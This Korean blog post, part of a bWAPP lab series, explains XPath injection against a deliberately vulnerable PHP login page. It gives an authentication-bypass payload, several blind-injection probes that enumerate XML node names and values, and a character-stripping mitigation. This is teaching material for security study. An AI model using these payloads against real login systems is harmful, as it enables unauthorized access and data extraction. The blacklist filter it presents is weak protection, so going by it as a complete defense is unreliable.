Part-1, XML/Xpath 인젝션

개보린·2021년 12월 8일
0

비박스

목록 보기
9/15
  • 이 글을 무단으로 전재 및 재배포를 금지하고 있습니다.
  • 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 본 내용을 악의적인 목적으로 사용 시 그에 대한 법적 책임을 포함한 모든 책임은 당사자에게 있으며, 작성자는 어떠한 책임도 지지 않음을 밝힙니다.

Xpath이란
일종의 쿼리로, XML 데이터베이스 내용을 선택하고 조작하기 위하여 사용

XML(eXtensible(확장성) Markup Language)이란
1. 다른 종류의 시스템(특히 웹)끼리 데이터를 쉽게 주고 받을 수 있게 함
2. HTML과 비슷한 마크업언어, 다만 HTML은 이미지 등을 보여주기 위함이라면 xml은 데이터를 저장하고 전달할 목적으로 만들어짐

  • 마크업언어
    태그 등을 이용하여 데이터의 구조를 명시
  • 마크다운
    마크업 언어 종류의 하나
    태그가 복합하여 읽기도 쓰기도 쉬운 문서양식을 지향함

// xmli_1.php 소스 중 XPath search
$result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");

AND연산은 OR 연산보다 우선하기 때문에 항상 OR연산과 함께 참이 되는 쿼리를 입력하면 AND 연산 결과에 상관없이 항상 결과는 참이 된다.

아이디, 비밀번호를 AND 연산으로 호출한다고 추측 가능

// 공격문 대입
$xml->xpath("/heroes/hero[login='' or 1=1 or '' and password='']");
1. '' and password='' => false
2. login='' or 1=1 => true
3. true or false => true

-- 노드의 개수를 파악하는 count 함수를 사용한 공격 구문
-- 1부터 대입결과 자식 노드는 총 6개
neo' and count(../child::*)=6 or 'a' = 'b

-- 실제 쿼리에 공격구문 대입
$xml->xpath("/heroes/hero[login='neo' and count(../child::*)=6 or 'a' = 'b' and password='']");

1. login='neo' and count(../child::*)=6 -> true
2. 'a' = 'b' and password='' = false
3. true or false => 즉 앞의 쿼리가 참이 되면 로그인 성공, blind SQL 인젝션 가능
-- 첫번째 자식노드의 길이
neo' and string-length(name(../child::*[position()=1]))=4 or 'a' = 'b

-- 첫번째 자식노드 이름의 첫글자
neo' and substring(name(../child::*[position()=1]),1,1)='h' or 'a' = 'b

-- 현재 노드명 첫번째 글자
neo' and substring(name(.),1,1)='h' or 'a' = 'b

--현재 노드의 첫번째 자식노드 명의 길이 확인
neo' and string-length(name(//hero[1]/child::*[position()=1]))=2 or 'a' = 'b

--첫번째 자식노드의 id 값은 1
neo' and substring(string(//hero[1]/id),1,1)=1 or 'a' = 'b

🔑대응방안

str_replace 함수 등을 사용하여 인젝션에 사용되는 문자를 공백으로 대체
// Replaces dangerous characters: ( ) = ' [ ] : , * / WHITESPACE
$input = str_replace("(", "", $data);
$input = str_replace(")", "", $input);
$input = str_replace("=", "", $input);
$input = str_replace("'", "", $input);
$input = str_replace("[", "", $input);
$input = str_replace("]", "", $input);
$input = str_replace(":", "", $input);
$input = str_replace(",", "", $input);
$input = str_replace("*", "", $input);
$input = str_replace("/", "", $input);
$input = str_replace(" ", "", $input);
profile
현역 '개'발자에서 '보'안 어'린'이로

0개의 댓글